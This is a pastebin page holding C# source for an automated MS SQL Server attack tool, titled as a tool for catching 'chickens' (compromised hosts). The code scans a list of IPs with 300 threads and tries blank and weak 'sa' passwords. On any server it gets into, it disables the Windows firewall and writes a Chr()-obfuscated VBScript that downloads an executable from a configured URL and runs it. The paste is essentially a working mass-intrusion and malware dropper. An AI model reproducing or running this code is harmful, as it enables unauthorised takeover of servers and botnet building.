C1433 code snippet of automatic chicken catching

From , 5 Years ago, written in C#, viewed 232 times.
URL https://pastebin.vip/view/d0379e4d
  1. namespace WMIScanner
  2. {
  3. using System;
  4. using System.Collections;
  5. using System.Data.SqlClient;
  6. using System.IO;
  7. using System.Threading;
  8. using System.Windows.Forms;
  9.  
  10. public class ScnClass
  11. {
  12. private string cmdLine = "";
  13. private int inNum = 0;
  14. private ArrayList ips = new ArrayList();
  15. private ArrayList rips = new ArrayList();
  16. private Thread[] threads = new Thread[300];
  17.  
  18. private void CheckRemoteComputer()
  19. {
  20. int num = 5;
  21. int num2 = 5;
  22. string[] strArray = new string[num];
  23. string[] strArray2 = new string[num2];
  24. strArray[0] = "sa";
  25. strArray[1] = "sa";
  26. strArray[2] = "sa";
  27. strArray[3] = "sa";
  28. strArray[4] = "sa";
  29. strArray2[0] = "";
  30. strArray2[1] = "sa";
  31. strArray2[2] = "123";
  32. strArray2[3] = "123456";
  33. strArray2[4] = "password";
  34. int num3 = 0;
  35. int num4 = 0;
  36. int num5 = 0;
  37. while ((num3 == 0) && (num4 < 2))
  38. {
  39. if (num5 == num2)
  40. {
  41. num5 = 0;
  42. num4++;
  43. }
  44. try
  45. {
  46. string str = this.ips.get_Item(int.Parse(Thread.get_CurrentThread().get_Name().ToString())).ToString();
  47. for (int j = 0; j < 5; j++)
  48. {
  49. SqlConnection connection = new SqlConnection("server=" + str + ";uid=" + strArray[j] + ";pwd=" + strArray2[j] + ";database=Master");
  50. SqlCommand command = new SqlCommand(this.cmdLine, connection);
  51. try
  52. {
  53. WMIScanner.ScnClass class2;
  54. connection.Open();
  55. Console.Write(str + " SQL Password is null,Scanned IP like these:" + ((this.rips.get_Count() + 1)).ToString() + ",Sending Command Now...\r\n");
  56. try
  57. {
  58. command.ExecuteNonQuery();
  59. lock ((class2 = this))
  60. {
  61. this.inNum++;
  62. Console.Write("***" + str + "Sending Command Completed,Completed number:" + this.inNum.ToString() + " \r\n");
  63. }
  64. }
  65. catch (Exception exception)
  66. {
  67. Console.Write(str + "Sending Command failed:" + exception.get_Message().ToString() + "\r\n");
  68. }
  69. lock ((class2 = this))
  70. {
  71. this.rips.Add(str);
  72. }
  73. }
  74. catch (Exception exception2)
  75. {
  76. Console.Write(str + " Failure to connect:" + exception2.get_Message().ToString() + "\r\n");
  77. num5++;
  78. }
  79. num3 = 1;
  80. }
  81. continue;
  82. }
  83. catch
  84. {
  85. continue;
  86. }
  87. }
  88. for (int i = 0; i < this.threads.Length; i++)
  89. {
  90. if ((this.threads != null) && (this.threads.get_Name().ToLower() == Thread.get_CurrentThread().get_Name().ToLower()))
  91. {
  92. this.threads = null;
  93. break;
  94. }
  95. }
  96. Thread.get_CurrentThread().Abort();
  97. }
  98.  
  99. private int CheckTempThreadIndex()
  100. {
  101. for (int i = 0; i < this.threads.Length; i++)
  102. {
  103. if (this.threads == null)
  104. {
  105. return i;
  106. }
  107. }
  108. return -1;
  109. }
  110.  
  111. private void ReadIPS()
  112. {
  113. StreamReader reader = File.OpenText(Application.get_StartupPath() + @"\ips.txt");
  114. while (reader.Peek() != -1)
  115. {
  116. this.ips.Add(reader.ReadLine());
  117. }
  118. reader.Close();
  119. }
  120.  
  121. private void ScannIPS()
  122. {
  123. int num = 0;
  124. int num2 = 0;
  125. while (num2 < this.ips.get_Count())
  126. {
  127. try
  128. {
  129. int index = this.CheckTempThreadIndex();
  130. if (index >= 0)
  131. {
  132. this.threads[index] = new Thread(new ThreadStart(this, this.CheckRemoteComputer));
  133. this.threads[index].set_IsBackground(true);
  134. this.threads[index].set_Name(num2.ToString());
  135. this.threads[index].Start();
  136. num2++;
  137. num = 0;
  138. }
  139. else
  140. {
  141. num += 100;
  142. Thread.Sleep(300);
  143. }
  144. continue;
  145. }
  146. catch
  147. {
  148. num = 0;
  149. continue;
  150. }
  151. }
  152. num = 0;
  153. bool flag = false;
  154. while (!flag)
  155. {
  156. Thread.Sleep(0x3e8);
  157. flag = true;
  158. for (int i = 0; i < this.threads.Length; i++)
  159. {
  160. if (this.threads != null)
  161. {
  162. flag = false;
  163. num += 0x3e8;
  164. break;
  165. }
  166. }
  167. if (num >= 0xea60)
  168. {
  169. for (int j = 0; j < this.threads.Length; j++)
  170. {
  171. if (this.threads[j] != null)
  172. {
  173. try
  174. {
  175. this.threads[j].Abort();
  176. }
  177. catch
  178. {
  179. }
  180. this.threads[j] = null;
  181. }
  182. }
  183. num = 0;
  184. return;
  185. }
  186. }
  187. }
  188.  
  189. public void Task()
  190. {
  191. string str = File.OpenText(Application.get_StartupPath() + @"\url.sys").ReadLine();
  192. Console.Write("Reading Command....\r\n");
  193. this.cmdLine = this.cmdLine + "declare @cmd INT;";
  194. this.cmdLine = this.cmdLine + "exec sp_oacreate 'wscript.shell',@cmd output;";
  195. this.cmdLine = this.cmdLine + "exec sp_oamethod @cmd,'run',null,'cmd /c net1 stop sharedaccess";
  196. this.cmdLine = this.cmdLine + "&echo on error resume next>>run.vbs";
  197. this.cmdLine = this.cmdLine + "&echo set oshell = wscript.createobject (Chr(87)+Chr(115)+Chr(99)+Chr(114)+Chr(105)+Chr(112)+Chr(116)+Chr(46)+Chr(115)+Chr(104)+Chr(101)+Chr(108)+Chr(108))>run.vbs";
  198. this.cmdLine = this.cmdLine + "&echo Set xPost = CreateObject(Chr(77)+Chr(105)+Chr(99)+Chr(114)+Chr(111)+Chr(115)+Chr(111)+Chr(102)+Chr(116)+Chr(46)+Chr(88)+Chr(77)+Chr(76)+Chr(72)+Chr(84)+Chr(84)+Chr(80))>>run.vbs";
  199. this.cmdLine = this.cmdLine + "&echo xPost.Open Chr(71)+Chr(69)+Chr(84)," + str + ",Chr(48)>>run.vbs";
  200. this.cmdLine = this.cmdLine + "&echo xPost.Send()>>run.vbs";
  201. this.cmdLine = this.cmdLine + "&echo Set sGet = CreateObject(Chr(65)+Chr(68)+Chr(79)+Chr(68)+Chr(66)+Chr(46)+Chr(83)+Chr(116)+Chr(114)+Chr(101)+Chr(97)+Chr(109))>>run.vbs";
  202. this.cmdLine = this.cmdLine + "&echo sGet.Mode = Chr(51)>>run.vbs";
  203. this.cmdLine = this.cmdLine + "&echo sGet.Type = Chr(49)>>run.vbs";
  204. this.cmdLine = this.cmdLine + "&echo sGet.Open()>>run.vbs";
  205. this.cmdLine = this.cmdLine + "&echo sGet.Write(xPost.responseBody)>>run.vbs";
  206. this.cmdLine = this.cmdLine + "&echo sGet.SaveToFile Chr(50)+Chr(48)+Chr(48)+Chr(56)+Chr(46)+Chr(101)+Chr(120)+Chr(101),Chr(50)>>run.vbs";
  207. this.cmdLine = this.cmdLine + "&echo oshell.run Chr(50)+Chr(48)+Chr(48)+Chr(56)+Chr(46)+Chr(101)+Chr(120)+Chr(101)>>run.vbs";
  208. this.cmdLine = this.cmdLine + "&cscript run.vbs','0','true'";
  209. Console.Write("Scanning weak passwords...\r\n");
  210. if (File.Exists(Application.get_StartupPath() + @"\ips.txt"))
  211. {
  212. Console.Write("Read IP Addresses...\r\n");
  213. this.ReadIPS();
  214. if (this.ips.get_Count() > 0)
  215. {
  216. Console.Write("Scan Now....\r\n");
  217. this.ScannIPS();
  218. Console.Write("IP Paragraph Scan Finish...\r\n");
  219. }
  220. }
  221. }
  222. }
  223. }
  224.  
  225. //csharp/1109

Reply to "C1433 code snippet of automatic chicken catching"

Here you can reply to the paste above

captcha

https://burned.cc - Burn After Reading Website